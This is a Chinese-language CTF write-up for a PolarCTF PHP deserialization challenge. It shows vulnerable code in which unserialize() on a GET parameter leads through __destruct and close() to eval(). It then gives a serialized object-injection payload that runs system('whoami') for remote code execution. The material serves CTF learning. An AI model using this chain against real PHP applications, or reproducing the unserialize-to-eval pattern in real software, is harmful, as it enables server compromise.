题目靶场地址:https://www.polarctf.com/#/
1.查看题目源码
典型的PHP反序列化。
2.分析
该题目首先创建了一个example类和一个process类,example类中有一个变量$handle,一个魔术函数__destruct(),魔术函数中调用了函数funnnn(),然而在funnnn()中,调用了handle的close()函数。
process类中有一个变量$handle,一个close()函数。在close()函数中,存在危险的eval()函数,并且eval()以全局变量pid为参数。
再看代码,发现需要通过get方法输入的是一个data值,而且data值在传递进去之后,会先被反序列化一下,之前我们说过,序列化只会保存对象的所有变量。
1.必须让handle变量是一个process类的实例化对象
2.由于process中的close()函数是eval执行语句,所以handle中的pid就可以是我们想要执行的语句,代码如下:
<?php
highlight_file(__FILE__);
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
$dt1 = new example();
$dt2 = new process();
$dt2->pid="system('whoami');";
$dt1->handle=$dt2;
print(serialize($dt1));
打印结果(序列化字符串):
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:17:"system('whoami');";}}
创建了两个类对象$dt1,$dt2。首先将dt2->pid赋值为system('命令')。然后将dt1->handle赋值为实例对象dt2。
当执行反序列化函数unserialize()时,会调用__destruct()函数,在__destruct()函数中执行funnnn()函数,funnnn()函数会调用process类中的close()函数,最终执行eval()函数。
将序列化字符串通过get赋值给data变量即可。